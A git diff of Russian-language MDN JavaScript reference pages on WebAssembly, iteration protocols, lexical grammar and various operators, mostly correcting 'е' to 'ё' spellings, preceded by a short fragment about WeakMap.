        У такой реализации было бы два главных неудобства. Первым является O(n) поиск (где n — количество ключей в map), так как обе операции требуют итерирование списка ключей для нахождения совпадения. Вторым – проблема утечки памяти. В словарях, написанных вручную, массив с ключами будет хранить ссылки на объекты-ключи, не давая им быть помеченными сборщиком мусора. В нативных WeakMap, ссылки на объекты-ключи хранятся «слабо», что означает то, что они не предотвратят сборку мусора в том случае, если других ссылок на объект не будет.

        diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html index 90f80474a6..e463183f01 100644 --- a/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html +++ b/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html @@ -69,7 +69,7 @@ fetch('simple.wasm').then(response =>

        Совместимость с браузером

        - +

        {{Compat("javascript.builtins.WebAssembly.compile")}}

        diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html index 106519cdf2..79b702b091 100644 --- a/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html +++ b/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html @@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStrea

        Примеры

        -

        Следующий пример (см. Нашу демонстрацию compile-streaming.html на GitHub и view it live) напрямую передает модуль .wasm из исходника, затем компилирует его в объект {{jsxref("WebAssembly.Module")}}.
        +

        Следующий пример (см. Нашу демонстрацию compile-streaming.html на GitHub и view it live) напрямую передаёт модуль .wasm из исходника, затем компилирует его в объект {{jsxref("WebAssembly.Module")}}.
        Поскольку функция compileStreaming() принимает обещание для объекта {{domxref("Response")}}, вы можете напрямую передать ему вызов {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, и он передаст ответ в выполняемую функцию.

        var importObject = { imports: { imported_func: arg => console.log(arg) } };
        @@ -40,7 +40,7 @@ WebAssembly.compileStreaming(fetch('simple.wasm'))
         .then(module => WebAssembly.instantiate(module, importObject))
         .then(instance => instance.exports.exported_func());
        -

        Затем создается полученный экземпляр модуля с помощью {{jsxref("WebAssembly.instantiate()")}} и вызывается экспортированная функция.

        +

        Затем создаётся полученный экземпляр модуля с помощью {{jsxref("WebAssembly.instantiate()")}} и вызывается экспортированная функция.

        Характеристики

        @@ -65,7 +65,7 @@ WebAssembly.compileStreaming(fetch('simple.wasm'))

        Совместимость с браузером

        - +

        {{Compat("javascript.builtins.WebAssembly.compileStreaming")}}

        diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/index.html index daff5d4ee7..5265fcdac1 100644 --- a/files/ru/web/javascript/reference/global_objects/webassembly/index.html +++ b/files/ru/web/javascript/reference/global_objects/webassembly/index.html @@ -5,9 +5,9 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly ---
        {{JSRef}}{{SeeCompatTable}}
        -

        Объект JavaScript WebAssembly действует как пространство имен для всего WebAssembly-связанного функционала.

        +

        Объект JavaScript WebAssembly действует как пространство имён для всего WebAssembly-связанного функционала.

        -

        В отличие от большинства других глобальных объектов, WebAssembly не является конструктором (это не объект функции). Можно сравнить его с {{jsxref("Math")}}, который так же является пространством имен констант и функций, или  {{jsxref("Intl")}}, который является пространством имен для конструкторов интернационализации и других языково-чувствительных функций.

        +

        В отличие от большинства других глобальных объектов, WebAssembly не является конструктором (это не объект функции). Можно сравнить его с {{jsxref("Math")}}, который так же является пространством имён констант и функций, или  {{jsxref("Intl")}}, который является пространством имён для конструкторов интернационализации и других языково-чувствительных функций.

        Описание

        @@ -34,24 +34,24 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly
        {{jsxref("WebAssembly.Module()")}}
        -
        Создает новый объект WebAssembly Module.
        +
        Создаёт новый объект WebAssembly Module.
        {{jsxref("WebAssembly.Instance()")}}
        -
        Создает новый объект WebAssembly Instance.
        +
        Создаёт новый объект WebAssembly Instance.
        {{jsxref("WebAssembly.Memory()")}}
        -
        Создает новый объект WebAssembly Memory.
        +
        Создаёт новый объект WebAssembly Memory.
        {{jsxref("WebAssembly.Table()")}}
        -
        Создает новый объект WebAssembly Table.
        +
        Создаёт новый объект WebAssembly Table.
        {{jsxref("WebAssembly.CompileError()")}}
        -
        Создает новый объект WebAssembly CompileError.
        +
        Создаёт новый объект WebAssembly CompileError.
        {{jsxref("WebAssembly.LinkError()")}}
        -
        Создает новый объект WebAssembly LinkError.
        +
        Создаёт новый объект WebAssembly LinkError.
        {{jsxref("WebAssembly.RuntimeError()")}}
        -
        Создает новый объект WebAssembly RuntimeError.
        +
        Создаёт новый объект WebAssembly RuntimeError.

        Примеры

        -

        После загрузки некоторого байт-кода WebAssembly с помощью fetch, мы компилируем и создаем экземпляр модуля с помощью функции {{jsxref("WebAssembly.instantiate()")}}, импортируя функции JavaScript в WebAssembly Module в процессе. Этот промис результирует в объект (result), содержащий скомпилированные Module и объекты Instance. Мы можем вызвать Exported WebAssembly function, которая была экспортирована через Instance.

        +

        После загрузки некоторого байт-кода WebAssembly с помощью fetch, мы компилируем и создаём экземпляр модуля с помощью функции {{jsxref("WebAssembly.instantiate()")}}, импортируя функции JavaScript в WebAssembly Module в процессе. Этот промис результирует в объект (result), содержащий скомпилированные Module и объекты Instance. Мы можем вызвать Exported WebAssembly function, которая была экспортирована через Instance.

        var importObject = {
           imports: {
        @@ -148,7 +148,7 @@ fetch('simple.wasm').then(response =>
         
        {{SpecName('Typed Array')}} {{Spec2('Typed Array')}}Определяет работу TypedArray и ArrayBufferView. Заменен в ECMAScript 6.Определяет работу TypedArray и ArrayBufferView. Заменён в ECMAScript 6.
        {{SpecName('ES6', '#sec-typedarray-objects', 'TypedArray Objects')}}
        -

        [1] WebAssembly включен в Firefox 52+, хотя не валиден в Firefox 52 Extended Support Release (ESR.)

        +

        [1] WebAssembly включён в Firefox 52+, хотя не валиден в Firefox 52 Extended Support Release (ESR.)

        [2] В настоящее время поддерживается флаг «Экспериментальные функции JavaScript».  Для более подробной информации смотрите этот blog post.

        diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html index eb9bc5ce48..23fab50edb 100644 --- a/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html +++ b/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table ---
        {{JSRef}}
        -

        Объект WebAssembly.Table() - это JavaScript обертка — структура похожая на массив, представляющая таблицу функций WebAssembly. Таблица, созданная через JavaScript или в коде WebAssembly, будет доступна и может быть изменена как из JavaScript, так и из WebAssembly.

        +

        Объект WebAssembly.Table() - это JavaScript обёртка — структура похожая на массив, представляющая таблицу функций WebAssembly. Таблица, созданная через JavaScript или в коде WebAssembly, будет доступна и может быть изменена как из JavaScript, так и из WebAssembly.

        Обратите внимание: Таблицы сейчас хранят только ссылки на функции, но это может быть расширено в будущем.

        @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table
        WebAssembly.Table()
        -
        Создает новый объект Table.
        +
        Создаёт новый объект Table.

        Экземпляры Table

        @@ -44,14 +44,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table

        Примеры

        -

        Следующий пример (смотри исходный код и живую версию table2.html) создает новый экземпляр WebAssembly Table с 2 элементами. После этого выводит длину таблицы и содержимое первых двух элементов (полученных через {{jsxref("WebAssembly/Table/get", "Table.prototype.get()")}} чтобы показать что длина равняется 2 и элементы равны {{jsxref("null")}}.

        +

        Следующий пример (смотри исходный код и живую версию table2.html) создаёт новый экземпляр WebAssembly Table с 2 элементами. После этого выводит длину таблицы и содержимое первых двух элементов (полученных через {{jsxref("WebAssembly/Table/get", "Table.prototype.get()")}} чтобы показать что длина равняется 2 и элементы равны {{jsxref("null")}}.

        var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"});
         console.log(tbl.length);  // "2"
         console.log(tbl.get(0));  // "null"
         console.log(tbl.get(1));  // "null"
        -

        После этого мы создаем объект импорта содержащий таблицу:

        +

        После этого мы создаём объект импорта содержащий таблицу:

        var importObj = {
           js: {
        @@ -59,7 +59,7 @@ console.log(tbl.get(1));  // "null"
        } };
        -

        После этого, мы создаем экземпляр модуля wasm (table2.wasm) используя метод {{jsxref("WebAssembly.instantiateStreaming()")}}.  Модуль table2.wasm содержит две функции, одна возвращает 42, а вторая - 83) и сохраняет эти функции под индексами 0 и 1 в импортированную таблицу (смотри текстовую версию).  Таким образом, после создания wasm-модуля, таблица имеет туже длину, но элементы таблицы стали функциями экспортированными из WebAssembly которые можно вызывать из JS.

        +

        После этого, мы создаём экземпляр модуля wasm (table2.wasm) используя метод {{jsxref("WebAssembly.instantiateStreaming()")}}.  Модуль table2.wasm содержит две функции, одна возвращает 42, а вторая - 83) и сохраняет эти функции под индексами 0 и 1 в импортированную таблицу (смотри текстовую версию).  Таким образом, после создания wasm-модуля, таблица имеет туже длину, но элементы таблицы стали функциями экспортированными из WebAssembly которые можно вызывать из JS.

        WebAssembly.instantiateStreaming(fetch('table2.wasm'), importObject)
         .then(function(obj) {
        @@ -68,9 +68,9 @@ console.log(tbl.get(1));  // "null"
          console.log(tbl.get(1)()); });
      -

      Заметьте что понадобилось добавить второй оператор вызова функции чтобы вызвать функцию возвращенную из талицы (т.е. get(0)() вместо get(0)) .

      +

      Заметьте что понадобилось добавить второй оператор вызова функции чтобы вызвать функцию возвращённую из талицы (т.е. get(0)() вместо get(0)) .

      -

      Этот пример показывает что мы создаем и работаем с таблицей из JavaScript, но экземпляр таблицы также виден и доступен внутри модуля wasm.

      +

      Этот пример показывает что мы создаём и работаем с таблицей из JavaScript, но экземпляр таблицы также виден и доступен внутри модуля wasm.

      Спецификации

      diff --git a/files/ru/web/javascript/reference/iteration_protocols/index.html b/files/ru/web/javascript/reference/iteration_protocols/index.html index cc9b66658a..4c42e875f7 100644 --- a/files/ru/web/javascript/reference/iteration_protocols/index.html +++ b/files/ru/web/javascript/reference/iteration_protocols/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Iteration_protocols
      {{jsSidebar("More")}}
      -

      Одно из нововведений стандарта ECMAScript 2015 - протоколы перебора, которые могут реализованы любым объектом, соблюдая при этом определенные правила.

      +

      Одно из нововведений стандарта ECMAScript 2015 - протоколы перебора, которые могут реализованы любым объектом, соблюдая при этом определённые правила.

      Протоколы перебора

      @@ -42,7 +42,7 @@ translation_of: Web/JavaScript/Reference/Iteration_protocols

      Протокол "Итератор" определяет стандартный способ получения последовательности значений  (конечной или бесконечной).

      -

      Объект является итератором, если в нем определен метод next() , реализующий следующую логику:

      +

      Объект является итератором, если в нем определён метод next() , реализующий следующую логику:

      @@ -129,7 +129,7 @@ someString + "" // "hi"

      {{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} и {{jsxref("Set")}} итерируемы, так как их прототипы содержат @@iterator метод, а {{jsxref("Object")}} нет, так как прототип {{jsxref("Object")}} не содержит метода @@iterator

      -

      Итерируемость определенная пользователем

      +

      Итерируемость определённая пользователем

      Мы можем создать итерируемый объект сами:

      diff --git a/files/ru/web/javascript/reference/lexical_grammar/index.html b/files/ru/web/javascript/reference/lexical_grammar/index.html index 24705ce8ec..9c74d62e61 100644 --- a/files/ru/web/javascript/reference/lexical_grammar/index.html +++ b/files/ru/web/javascript/reference/lexical_grammar/index.html @@ -50,7 +50,7 @@ ECMAScript также определяет ключевые слова и лит

      Пробелы

      -

      Пробельные символы улучшают читабельность исходного текста и разделяет токены друг от друга. Пробельные символы обычно не обязательны для функционирования кода. Утилиты для уменьшения объема кода часто удаляют пробельные символы, чтобы уменьшить объем кода.

      +

      Пробельные символы улучшают читабельность исходного текста и разделяет токены друг от друга. Пробельные символы обычно не обязательны для функционирования кода. Утилиты для уменьшения объёма кода часто удаляют пробельные символы, чтобы уменьшить объем кода.

      @@ -212,7 +212,7 @@ comment();

      Третий специализированный синтаксис комментариев, шебанг комментарий, в процессе стандартизации в ECMAScript (смотреть Hashbang Grammar proposal).

      -

      Шебанг комментарий ведет себя точно также как и однострочный (//) комментарий. Вместо этого, он начинается с #! и действителен только в самом начале скрипта или модуля. Обратите внимание, что никакие пробелы не разрешены перед #!. Комментарий состоит из всех символов после #! до конца первой строки; только такой комментарий разрешен.

      +

      Шебанг комментарий ведёт себя точно также как и однострочный (//) комментарий. Вместо этого, он начинается с #! и действителен только в самом начале скрипта или модуля. Обратите внимание, что никакие пробелы не разрешены перед #!. Комментарий состоит из всех символов после #! до конца первой строки; только такой комментарий разрешен.

      Шебанг комментарий определяет путь к  JavaScript интерпретатору, скрипт которого Вы хотите выполнить. Пример, как это работает:

      @@ -366,7 +366,7 @@ false 0777 // распознается, как восьмеричное число, 511 - как десятичное число -

      Имейте в виду, что литералы десятичных чисел могут начинаться с нуля (0), за которым следует другое десятичное число, но в случае, если число начинается с нуля и за ним идет цифра меньше 8, то число будет распознано как восьмеричное. This won't throw in JavaScript, see {{bug(957513)}}. See also the page about {{jsxref('Global_Objects/parseInt','parseInt()','Octal_interpretations_with_no_radix')}}.

      +

      Имейте в виду, что литералы десятичных чисел могут начинаться с нуля (0), за которым следует другое десятичное число, но в случае, если число начинается с нуля и за ним идёт цифра меньше 8, то число будет распознано как восьмеричное. This won't throw in JavaScript, see {{bug(957513)}}. See also the page about {{jsxref('Global_Objects/parseInt','parseInt()','Octal_interpretations_with_no_radix')}}.

      Binary (двоичные числа)

      @@ -403,7 +403,7 @@ var m = 0o644; // 420
      var o = { a: "foo", b: "bar", c: 42 };
       
      -// сокращенная нотация. Появилась в ES2015
      +// сокращённая нотация. Появилась в ES2015
       var a = "foo", b = "bar", c = 42;
       var o = {a, b, c};
       // вместо
      @@ -481,7 +481,7 @@ tag `string text ${expression} string text`
    • return
    • -

      Спецификация ECMAScript напоминает о трех правилах вставки точки с запятой.

      +

      Спецификация ECMAScript напоминает о трёх правилах вставки точки с запятой.

      1. Точка с запятой ставится до, когда ограничитель строки или "}" is encountered that is not allowed by the grammar.

      diff --git a/files/ru/web/javascript/reference/operators/addition/index.html b/files/ru/web/javascript/reference/operators/addition/index.html index 94efb4b63e..c55fa767fe 100644 --- a/files/ru/web/javascript/reference/operators/addition/index.html +++ b/files/ru/web/javascript/reference/operators/addition/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Operators/Addition ---
      {{jsSidebar("Operators")}}
      -

      Оператор сложения (+) создает сумму числовых операндов или конкатенацию строк.

      +

      Оператор сложения (+) создаёт сумму числовых операндов или конкатенацию строк.

      {{EmbedInteractiveExample("pages/js/expressions-addition.html")}}
      diff --git a/files/ru/web/javascript/reference/operators/await/index.html b/files/ru/web/javascript/reference/operators/await/index.html index ecce9884c5..6159cd8b19 100644 --- a/files/ru/web/javascript/reference/operators/await/index.html +++ b/files/ru/web/javascript/reference/operators/await/index.html @@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Operators/await

      Описание

      -

      Оператор await заставляет функцию, объявленную с использованием оператора async, ждать выполнения Promise и продолжать выполнение после возвращения Promise значения. Впоследствии возвращает полученное из  Promise значение. Если типом значения, к которому был применен оператор await, является не Promise, то значение приводится к успешно выполненному Promise.

      +

      Оператор await заставляет функцию, объявленную с использованием оператора async, ждать выполнения Promise и продолжать выполнение после возвращения Promise значения. Впоследствии возвращает полученное из  Promise значение. Если типом значения, к которому был применён оператор await, является не Promise, то значение приводится к успешно выполненному Promise.

      Если Promise отклоняется, то await генерирует исключение с отклонённым значением.

      @@ -54,7 +54,7 @@ f1(); f2(); -

      Если Promise отклонен, то выбрасывается исключение с переданным значением.

      +

      Если Promise отклонён, то выбрасывается исключение с переданным значением.

      async function f3() {
         try {
      diff --git a/files/ru/web/javascript/reference/operators/bitwise_and/index.html b/files/ru/web/javascript/reference/operators/bitwise_and/index.html
      index 6c08ef0ded..099bbe37cd 100644
      --- a/files/ru/web/javascript/reference/operators/bitwise_and/index.html
      +++ b/files/ru/web/javascript/reference/operators/bitwise_and/index.html
      @@ -72,7 +72,7 @@ translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND
       14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
       
      -

      Побитовое И для любого числа x с 0 дает 0.

      +

      Побитовое И для любого числа x с 0 даёт 0.

      Примеры

      diff --git a/files/ru/web/javascript/reference/operators/comma_operator/index.html b/files/ru/web/javascript/reference/operators/comma_operator/index.html index 85d739fdab..de9bc91731 100644 --- a/files/ru/web/javascript/reference/operators/comma_operator/index.html +++ b/files/ru/web/javascript/reference/operators/comma_operator/index.html @@ -31,13 +31,13 @@ original_slug: Web/JavaScript/Reference/Operators/Оператор_Запята

      Примеры

      -

      Если a это двумерный массив элементов размерностью 10 х 10, то приведенный ниже код использует оператор запятая для одновременного изменения двух переменных за раз.

      +

      Если a это двумерный массив элементов размерностью 10 х 10, то приведённый ниже код использует оператор запятая для одновременного изменения двух переменных за раз.

      Следующий код выводит в консоль значения диагональных элементов массива:

      for (let i = 0, j = 9; i <= 9; i++, j--)
         console.log("a[" + i + "][" + j + "] = " + a[i][j]);
      -

      Заметьте, что запятая при объявлении переменной varlet или const не является оператором запятая, так как в данном случае она находится не в выражении. Скорее, это спец символ в объявлении переменных, комбинирующий их множество в одно выражение. Практически, эта запятая ведет себя почти так же, как и запятая.

      +

      Заметьте, что запятая при объявлении переменной varlet или const не является оператором запятая, так как в данном случае она находится не в выражении. Скорее, это спец символ в объявлении переменных, комбинирующий их множество в одно выражение. Практически, эта запятая ведёт себя почти так же, как и запятая.

        // подобное объявление запрещено в строгом режиме(strict mode)
       
      diff --git a/files/ru/web/javascript/reference/operators/conditional_operator/index.html b/files/ru/web/javascript/reference/operators/conditional_operator/index.html
      index 8b035ad9e4..7eabde0687 100644
      --- a/files/ru/web/javascript/reference/operators/conditional_operator/index.html
      +++ b/files/ru/web/javascript/reference/operators/conditional_operator/index.html
      @@ -42,9 +42,9 @@ original_slug: Web/JavaScript/Reference/Operators/Условный_операт
       
       
      var firstCheck = false,
           secondCheck = false,
      -    access = firstCheck ? "Доступ запрещен" : secondCheck ? "Доступ запрещен" : "Доступ разрешен";
      +    access = firstCheck ? "Доступ запрещён" : secondCheck ? "Доступ запрещён" : "Доступ разрешён";
       
      -console.log( access ); // выводит в консоль "Доступ разрешен"
      +console.log( access ); // выводит в консоль "Доступ разрешён"

      Тернарные операции можно использовать и сами по себе - для выполнения различных операций:

      @@ -62,18 +62,18 @@ age > 18 ? ( location.assign("continue.html") ) : ( stop = true, - alert("Простите, вы еще так юны!") + alert("Простите, вы ещё так юны!") ); -

      При присвоении значения также возможно выполнение более одной операции. В этом случае переменной будет присвоено то значение, которое стоит последним в списке значений, разделенных запятой.

      +

      При присвоении значения также возможно выполнение более одной операции. В этом случае переменной будет присвоено то значение, которое стоит последним в списке значений, разделённых запятой.

      var age = 16;
       
       var url = age > 18 ? (
           alert("Хорошо, вы можете продолжить."),
      -    // alert вернет "undefined", но это будет проигнорировано, потому что
      -    // не является последним в списке значений, разделенных запятой
      +    // alert вернёт "undefined", но это будет проигнорировано, потому что
      +    // не является последним в списке значений, разделённых запятой
           "continue.html" // значение будет присвоено, если age > 18
       ) : (
           alert("Вы слишком молоды!"),
      diff --git a/files/ru/web/javascript/reference/operators/delete/index.html b/files/ru/web/javascript/reference/operators/delete/index.html
      index 2edf33b67e..d7722fa829 100644
      --- a/files/ru/web/javascript/reference/operators/delete/index.html
      +++ b/files/ru/web/javascript/reference/operators/delete/index.html
      @@ -64,18 +64,18 @@ delete property // удаляет свойства глобальног
       

      delete эффективен только применительно к свойствам объектов. Он не оказывает никакого влияния на имена переменных и функций.
      Присвоение значения свойству без указания объекта (без оператора var) иногда неверно характеризуется, как глобальная переменная, (например x = 5). На самом деле происходит присвоение значения свойству глобального объекта.

      -

      delete не может удалить определенные свойства встроенных объектов (таких как Object, Array, Math и так далее). В спецификации ECMA-262 они обозначены как DontDelete.

      +

      delete не может удалить определённые свойства встроенных объектов (таких как Object, Array, Math и так далее). В спецификации ECMA-262 они обозначены как DontDelete.

      -
      x = 42;         // создает свойство x в глобальном объекте
      +
      x = 42;         // создаёт свойство x в глобальном объекте
       var y = 43;     // объявляет новую переменную, y
       myobj = {};
      -myobj.h = 4;    // создает свойство h в myobj
      -myobj.k = 5;    // создает свойство k в myobj
      +myobj.h = 4;    // создаёт свойство h в myobj
      +myobj.k = 5;    // создаёт свойство k в myobj
       
       delete x;       // возвращает true  (x - свойство глобального объекта и может быть удалено)
       delete y;       // возвращает false (delete не влияет на имена переменных)
      -delete Math.PI; // возвращает false (delete не влияет на определенные встроенные свойства)
      -delete myobj.h; // возвращает true  (свойства, определенные пользователем могут быть удалены)
      +delete Math.PI; // возвращает false (delete не влияет на определённые встроенные свойства)
      +delete myobj.h; // возвращает true  (свойства, определённые пользователем могут быть удалены)
       
       with(myobj) {
           delete k;   // возвращает true  (эквивалентно delete myobj.k)
      @@ -89,7 +89,7 @@ delete myobj;   // возвращает true  (myobj это свойство г
       Foo.prototype.bar = 42;
       var foo = new Foo();
       delete foo.bar;           // возвращает true, но безрезультатно, так как bar - наследуемое свойство
      -alert(foo.bar);           // выводит 42, свойство все еще наследуется
      +alert(foo.bar);           // выводит 42, свойство все ещё наследуется
       delete Foo.prototype.bar; // удаляет свойство из прототипа
       alert(foo.bar);           // выводит "undefined", свойство больше не наследуется
      @@ -106,7 +106,7 @@ if (3 in trees) { // этот участок кода не выполнится }
      -

      Если Вы хотите, чтобы элемент массива существовал, но имел значение undefined, используйте значение undefined вместо оператора delete. В следующем примере, trees{{ mediawiki.external(3) }} принимает значение undefined, но элемент массива все еще существует:

      +

      Если Вы хотите, чтобы элемент массива существовал, но имел значение undefined, используйте значение undefined вместо оператора delete. В следующем примере, trees{{ mediawiki.external(3) }} принимает значение undefined, но элемент массива все ещё существует:

      var trees = ["redwood","bay","cedar","oak","maple"];
       trees[3]=undefined;
      @@ -116,9 +116,9 @@ if (3 in trees) {
       
       

      Проблема кроссбраузерности

      -

      Несмотря на то, что стандарт ECMAScript оставляет порядок итерации по свойствам объектов на усмотрение реализующей стороны, может оказаться так, что все основные браузеры поддерживают порядок итерации, основанный на принципе "свойство добавленное в объект раньше идет раньше" (по крайней мере для свойств не находящихся в прототипе). Однако, в случае с Internet Explorer, когда кто-нибудь использует delete с каким-либо свойством, это приводит к некоторым неожиданным результатам, заставляя другие браузеры отказаться от использования простых объектов, таких как литералы объектов, в качестве ассоциативных массивов. В Internet Explorer, когда значение свойства установлено в undefined, после удаления этого свойства, если кто-нибудь позже добавит свойство с таким же именем, оно окажется в своей старой позиции, а не в конце итерационной последовательности, как ожидается.

      +

      Несмотря на то, что стандарт ECMAScript оставляет порядок итерации по свойствам объектов на усмотрение реализующей стороны, может оказаться так, что все основные браузеры поддерживают порядок итерации, основанный на принципе "свойство добавленное в объект раньше идёт раньше" (по крайней мере для свойств не находящихся в прототипе). Однако, в случае с Internet Explorer, когда кто-нибудь использует delete с каким-либо свойством, это приводит к некоторым неожиданным результатам, заставляя другие браузеры отказаться от использования простых объектов, таких как литералы объектов, в качестве ассоциативных массивов. В Internet Explorer, когда значение свойства установлено в undefined, после удаления этого свойства, если кто-нибудь позже добавит свойство с таким же именем, оно окажется в своей старой позиции, а не в конце итерационной последовательности, как ожидается.

      -

      Поэтому, если Вы хотите симулировать упорядоченный ассоциативный массив в кроссбраузерной среде, вам придется либо использовать два отдельных массива (один для ключей и один для значений), либо построить массив из объектов с одним свойством и так далее.

      +

      Поэтому, если Вы хотите симулировать упорядоченный ассоциативный массив в кроссбраузерной среде, вам придётся либо использовать два отдельных массива (один для ключей и один для значений), либо построить массив из объектов с одним свойством и так далее.

      Внешние ссылки

      diff --git a/files/ru/web/javascript/reference/operators/in/index.html b/files/ru/web/javascript/reference/operators/in/index.html index 7260b5913e..7570704fb8 100644 --- a/files/ru/web/javascript/reference/operators/in/index.html +++ b/files/ru/web/javascript/reference/operators/in/index.html @@ -58,7 +58,7 @@ var color2 = "coral"; "length" in color2
      -

      Использование оператора in с неопределенными или с уже удаленными свойствами

      +

      Использование оператора in с неопределёнными или с уже удалёнными свойствами

      Если вы удалили свойство при помощи оператора delete, то оператор in возвратит false для этого свойства.

      @@ -71,7 +71,7 @@ delete trees[3]; 3 in trees; // false
      -

      Если вы зададите свойству значение {{jsxref("Global_Objects/undefined", "undefined")}}, но не удалите его, то для этого свойства оператор in вернет значение true.

      +

      Если вы зададите свойству значение {{jsxref("Global_Objects/undefined", "undefined")}}, но не удалите его, то для этого свойства оператор in вернёт значение true.

      var mycar = {make: "Honda", model: "Accord", year: 1998};
       mycar.make = undefined;
      diff --git a/files/ru/web/javascript/reference/operators/instanceof/index.html b/files/ru/web/javascript/reference/operators/instanceof/index.html
      index dd264b0a07..a9274710e2 100644
      --- a/files/ru/web/javascript/reference/operators/instanceof/index.html
      +++ b/files/ru/web/javascript/reference/operators/instanceof/index.html
      @@ -109,7 +109,7 @@ myDate instanceof String;   // возвращает false
       
       

      Показывает, что mycar имеет тип Car и тип Object

      -

      Следующий код создает тип Car и экземпляр этого типа, mycar. Оператор instanceof показывает, что объект mycar имеет тип Car и тип Object.

      +

      Следующий код создаёт тип Car и экземпляр этого типа, mycar. Оператор instanceof показывает, что объект mycar имеет тип Car и тип Object.

      function Car(make, model, year) {
         this.make = make;
      diff --git a/files/ru/web/javascript/reference/operators/new.target/index.html b/files/ru/web/javascript/reference/operators/new.target/index.html
      index bab9b8e956..5feccb7b52 100644
      --- a/files/ru/web/javascript/reference/operators/new.target/index.html
      +++ b/files/ru/web/javascript/reference/operators/new.target/index.html
      @@ -47,8 +47,8 @@ Foo(); // ошибка "Foo() must be called with new"
       
       class B extends A { constructor() { super(); } }
       
      -var a = new A(); // вернет "A"
      -var b = new B(); // вернет "B"
      +var a = new A(); // вернёт "A"
      +var b = new B(); // вернёт "B"
       

      Спецификации

      diff --git a/files/ru/web/javascript/reference/operators/new/index.html b/files/ru/web/javascript/reference/operators/new/index.html index b6f4ed80b7..6afdd75f04 100644 --- a/files/ru/web/javascript/reference/operators/new/index.html +++ b/files/ru/web/javascript/reference/operators/new/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Operators/new ---
      {{jsSidebar("Operators")}}
      -

      Оператор (операторная функция) new создает экземпляр объекта, встроенного или определенного пользователем, имеющего конструктор.

      +

      Оператор (операторная функция) new создаёт экземпляр объекта, встроенного или определённого пользователем, имеющего конструктор.

      Синтаксис

      @@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Operators/new

      Описание

      -

      Создание объекта, определенного пользователем, требует два шага:

      +

      Создание объекта, определённого пользователем, требует два шага:

      1. Написать функцию, которая задаст тип объекта.
      2. @@ -41,14 +41,14 @@ translation_of: Web/JavaScript/Reference/Operators/new

        Когда исполняется new Foo(...) , происходит следующее:

          -
        1. Создается новый объект, наследующий Foo.prototype.
        2. +
        3. Создаётся новый объект, наследующий Foo.prototype.
        4. Вызывается конструктор — функция Foo с указанными аргументами и this, привязанным к только что созданному объекту. new Foo эквивалентно new Foo(), то есть если аргументы не указаны, Foo вызывается без аргументов.
        5. -
        6. Результатом выражения new становится объект, возвращенный конструктором. Если конструктор не возвращает объект явно, используется объект из п. 1. (Обычно конструкторы не возвращают значение, но они могут делать это, если нужно переопределить обычный процесс создания объектов.)
        7. +
        8. Результатом выражения new становится объект, возвращённый конструктором. Если конструктор не возвращает объект явно, используется объект из п. 1. (Обычно конструкторы не возвращают значение, но они могут делать это, если нужно переопределить обычный процесс создания объектов.)

        Всегда можно добавить свойство к уже созданному объекту. Например, car1.color = "black" добавляет свойство color к объекту car1, и присваивает ему значение "black". Это не затрагивает другие объекты. Чтобы добавить свойство ко всем объектам типа, нужно добавлять его в определение типа Car.

        -

        Добавить свойство к ранее определенному типу можно используя свойство Function.prototype. Это определит свойство для всех объектов, созданных этой функцией, а не только у какого-либо экземпляра. Следующий пример добавляет свойство color со значением null всем объектам типа car, а потом меняет его на  "black" только у экземпляра car1. Больше информации в статье prototype.

        +

        Добавить свойство к ранее определённому типу можно используя свойство Function.prototype. Это определит свойство для всех объектов, созданных этой функцией, а не только у какого-либо экземпляра. Следующий пример добавляет свойство color со значением null всем объектам типа car, а потом меняет его на  "black" только у экземпляра car1. Больше информации в статье prototype.

        function Car() {}
         car1 = new Car();
        @@ -80,7 +80,7 @@ console.log(car1.color);   // black
         
        var mycar = new Car("Eagle", "Talon TSi", 1993);
         
        -

        Это выражение создает экземпляр mycar и присваивает его свойствам указанные значения. Таким образом, mycar.make принимает значение "Eagle", mycar.year принимает значение 1993, и так далее.

        +

        Это выражение создаёт экземпляр mycar и присваивает его свойствам указанные значения. Таким образом, mycar.make принимает значение "Eagle", mycar.year принимает значение 1993, и так далее.

        Можно создать любое количество экземпляров car с помощью оператора new. Например:

        diff --git a/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html index 71484f05a1..a8482f38c8 100644 --- a/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html +++ b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html @@ -131,7 +131,7 @@ console.log(foo.someBarProp?.toUpperCase()); // undefined

        Прогресс реализации

        -

